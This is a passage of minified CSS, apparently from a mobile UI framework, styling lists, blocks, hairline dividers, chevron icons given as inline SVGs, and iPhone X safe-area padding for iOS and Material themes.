.block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .block-footer,.md.device-iphone-x .ios-edges .block-header,.md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block-footer,.md.device-iphone-x .ios-right-edge .block-header,.md.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block-footer,.md.device-iphone-x .panel-right .block-header,.md.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block-footer,.md.device-iphone-x .popup .block-header,.md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block-footer,.md.device-iphone-x .sheet-modal .block-header,.md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge){padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:0}.md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}.list{position:relative;z-index:1}.list ul{list-style:none;margin:0;padding:0;position:relative}.list ul ul:before{display:none!important}.list ul ul:after{display:none!important}.list li{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-media{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;padding-bottom:8px}.list .item-inner{position:relative;width:100%;padding-top:8px;padding-bottom:8px;min-width:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.list .item-title{min-width:0;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;max-width:100%}.list .item-after{white-space:nowrap;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-left:auto}.list .item-link,.list .list-button{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;z-index:0}.list .item-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.list .item-subtitle{position:relative;overflow:hidden;white-space:nowrap;max-width:100%;text-overflow:ellipsis}.list .item-text{position:relative;overflow:hidden;text-overflow:hidden;-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box}.list .item-title-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-title-row .item-after{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.list .item-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-cell{display:block;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.list li:last-child .list-button:after{display:none!important}.list li:last-child li:last-child>.item-content>.item-inner:after,.list li:last-child li:last-child>.item-inner:after,.list li:last-child li:last-child>.item-link>.item-content>.item-inner:after,.list li:last-child>.item-content>.item-inner:after,.list li:last-child>.item-inner:after,.list li:last-child>.item-link>.item-content>.item-inner:after{display:none!important}.ios .list.no-hairlines-ios ul:before,.ios .list.no-hairlines-ios:before,.list.no-hairlines ul:before,.list.no-hairlines:before,.md .list.no-hairlines-md ul:before,.md .list.no-hairlines-md:before{display:none!important}.ios .list.no-hairlines-ios ul:after,.ios .list.no-hairlines-ios:after,.list.no-hairlines ul:after,.list.no-hairlines:after,.md .list.no-hairlines-md ul:after,.md .list.no-hairlines-md:after{display:none!important}.ios .list.no-hairline-top-ios ul:before,.ios .list.no-hairline-top-ios:before,.list.no-hairline-top ul:before,.list.no-hairline-top:before,.md .list.no-hairline-top-md ul:before,.md .list.no-hairline-top-md:before{display:none!important}.ios .list.no-hairline-bottom-ios ul:after,.ios .list.no-hairline-bottom-ios:after,.list.no-hairline-bottom ul:after,.list.no-hairline-bottom:after,.md .list.no-hairline-bottom-md ul:after,.md .list.no-hairline-bottom-md:after{display:none!important}.ios .list.no-hairlines-between-ios .item-divider:after,.ios .list.no-hairlines-between-ios .item-inner:after,.ios .list.no-hairlines-between-ios .list-button:after,.ios .list.no-hairlines-between-ios .list-group-title:after,.list.no-hairlines-between .item-divider:after,.list.no-hairlines-between .item-inner:after,.list.no-hairlines-between .list-button:after,.list.no-hairlines-between .list-group-title:after,.md .list.no-hairlines-between-md .item-divider:after,.md .list.no-hairlines-between-md .item-inner:after,.md .list.no-hairlines-between-md .list-button:after,.md .list.no-hairlines-between-md .list-group-title:after{display:none!important}.ios .list.no-hairlines-between-ios.simple-list li:after,.list.no-hairlines-between.simple-list li:after,.md .list.no-hairlines-between-md.simple-list li:after{display:none!important}.ios .list.no-hairlines-between-ios.links-list a:after,.list.no-hairlines-between.links-list a:after,.md .list.no-hairlines-between-md.links-list a:after{display:none!important}.list.simple-list li{position:relative;white-space:nowrap;text-overflow:ellipsis;max-width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.list.simple-list li:last-child:after{display:none!important}.list.links-list a{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;text-overflow:ellipsis;max-width:100%}.list.links-list li:last-child a:after{display:none!important}.media-list .item-inner,li.media-item .item-inner{display:block;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background:0 0}.media-list .item-media,li.media-item .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.media-list .item-media img,li.media-item .item-media img{display:block}.links-list a,.list .item-link .item-inner,.media-list .chevron-center .item-link .item-inner,.media-list .item-link .item-title-row,.media-list .item-link.chevron-center .item-inner,.media-list.chevron-center .item-link .item-inner,li.media-item .chevron-center .item-link .item-inner,li.media-item .item-link .item-title-row,li.media-item .item-link.chevron-center .item-inner,li.media-item.chevron-center .item-link .item-inner{background-size:8px 13px;background-repeat:no-repeat;background-position:95% center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.item-link.no-chevron .item-inner,.links-list .no-chevron a,.links-list.no-chevron a,.media-list .chevron-center .item-title-row,.media-list.chevron-center .item-title-row,.media-list.no-chevron .item-link .item-title-row,.no-chevron .item-link .item-inner,.no-chevron .links-list a,.no-chevron .media-list .item-link .item-title-row,li.media-item .chevron-center .item-title-row,li.media-item .no-chevron .item-title-row,li.media-item.chevron-center .item-title-row,li.media-item.no-chevron .item-title-row{background-image:none!important}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background-image:none}.media-list .item-link .item-title-row,li.media-item .item-link .item-title-row{background-position:right center!important}.list-group ul:after,.list-group ul:before{z-index:25!important}.list-group+.list-group ul:before{display:none!important}.item-divider,li.item-divider,li.list-group-title{white-space:nowrap;position:relative;max-width:100%;text-overflow:ellipsis;overflow:hidden;z-index:15}li.list-group-title{position:relative;position:-webkit-sticky;position:sticky;top:0;margin-top:0;z-index:20}li.list-group-title:before{display:none!important}.list.inset .block-title{margin-left:0;margin-right:0}.list.inset ul:before{display:none!important}.list.inset ul:after{display:none!important}@media (min-width:768px){.list.tablet-inset .block-title{margin-left:0;margin-right:0}.list.tablet-inset ul:before{display:none!important}.list.tablet-inset ul:after{display:none!important}}.links-list.theme-dark a,.list.theme-dark .item-link .item-inner,.media-list.theme-dark .item-link .item-title-row,.theme-dark .links-list a,.theme-dark .list .item-link .item-inner,.theme-dark .media-list .item-link .item-title-row,.theme-dark li.media-item .item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.media-list.theme-dark .item-link .item-inner,.theme-dark .media-list .item-link .item-inner,.theme-dark li.media-item .item-link .item-inner{background-image:none}.md .list{margin:32px 0;font-size:16px}.md .list .item-cell{width:100%;min-width:0;margin-left:16px}.md .list .item-cell:first-child{margin-left:0}.md .list .ripple-wave+.item-cell{margin-left:0}.md .list ul ul{padding-left:56px}.md .list .item-media{padding-top:8px;min-width:40px}.md .list .item-media i+i,.md .list .item-media i+img{margin-left:8px}.md .list .item-media+.item-inner{margin-left:16px}.md .list .item-inner{min-height:48px;padding-right:16px}.md .list .item-after{color:#757575;font-size:14px;padding-left:8px}.md .list .item-link,.md .list .list-button{color:inherit}.md .list .item-link .item-inner,.md .list .list-button .item-inner{padding-right:42px}.md .list .item-link.active-state,.md .list .list-button.active-state{background-color:rgba(0,0,0,.1)}.md .list .list-button{padding:0 16px;font-size:16px;line-height:48px}.md .list .item-content{min-height:48px;padding-left:16px}.md .list .item-subtitle{font-size:14px}.md .list .item-text{font-size:14px;color:#757575;line-height:20px;max-height:40px}.md .list .item-footer,.md .list .item-header{font-weight:400;font-size:12px;line-height:1.2;white-space:normal}.md .list .item-footer{color:rgba(0,0,0,.5)}.md .list .item-link.no-chevron .item-inner,.md .list .no-chevron .item-link .item-inner,.md .list.no-chevron .item-link .item-inner,.md .no-chevron .list .item-link .item-inner{padding-right:16px}.md .simple-list li:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .simple-list li:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .simple-list li:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .simple-list li{padding-left:16px;padding-right:16px;line-height:48px;height:48px}.md .simple-list li:after{width:auto;left:16px;right:0}.md .links-list a:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .links-list a:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .links-list a:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .links-list a{height:48px;color:inherit}.md .links-list a.active-state{background-color:rgba(0,0,0,.1)}.md .links-list a:after{width:auto}.md .links-list a{padding-left:16px;padding-right:42px}.md .links-list a:after{left:16px;right:0}.md .links-list .no-chevron a,.md .links-list a.no-chevron,.md .links-list.no-chevron a,.md .no-chevron .links-list a{padding-right:16px}.md .media-list .item-inner,.md li.media-item .item-inner{padding-top:14px;padding-bottom:14px}.md .media-list .item-link .item-inner,.md li.media-item .item-link .item-inner{padding-right:16px}.md .media-list .item-link .item-title-row,.md li.media-item .item-link .item-title-row{padding-right:26px}.md .media-list .item-media,.md li.media-item .item-media{padding-top:14px;padding-bottom:14px}.md .media-list .chevron-center .item-link .item-inner,.md .media-list .item-link.chevron-center .item-inner,.md .media-list.chevron-center .item-link .item-inner,.md li.media-item .chevron-center .item-link .item-inner,.md li.media-item .item-link.chevron-center .item-inner,.md li.media-item.chevron-center .item-link .item-inner{padding-right:42px}.md .media-list .chevron-center .item-title-row,.md .media-list .no-chevron .item-link .item-title-row,.md .media-list.chevron-center .item-title-row,.md .media-list.no-chevron .item-link .item-title-row,.md .no-chevron .media-list .item-link .item-title-row,.md .no-chevron li.media-item .item-link .item-title-row,.md li.media-item .chevron-center .item-title-row,.md li.media-item.chevron-center .item-title-row,.md li.media-item.no-chevron .item-link .item-title-row{padding-right:0!important}.md .links-list a,.md .list .item-link .item-inner{background-position:calc(100% - 16px) center}.md .item-divider,.md .list-group-title{padding:0 16px;background:#f4f4f4;color:rgba(0,0,0,.54);height:48px;line-height:48px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px}.md .item-divider:before,.md .list-group-title:before{display:none!important}.md .item-divider:after,.md .list-group-title:after{display:none!important}.md .list-group-title{margin-top:0}.md .list .item-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .list .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list ul:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .list ul:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list ul:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list ul:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .list ul:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list ul:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list.inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .list.inset ul{border-radius:4px}.md .list.inset li:first-child>a{border-radius:4px 4px 0 0}.md .list.inset li:last-child>a{border-radius:0 0 4px 4px}.md .list.inset li:first-child:last-child>a{border-radius:4px}@media (min-width:768px){.md .list.tablet-inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .list.tablet-inset li:first-child>a{border-radius:4px 4px 0 0}.md .list.tablet-inset li:last-child>a{border-radius:0 0 4px 4px}.md .list.tablet-inset li:first-child:last-child>a{border-radius:4px}}.md li li:last-child .item-inner:after,.md li:last-child li .item-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .md li li:last-child .item-inner:after,html.device-pixel-ratio-2 .md li:last-child li .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .md li li:last-child .item-inner:after,html.device-pixel-ratio-3 .md li:last-child li .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after{left:calc(16px + constant(safe-area-inset-left));left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after{left:calc(16px + constant(safe-area-inset-left));left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:16px}.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) 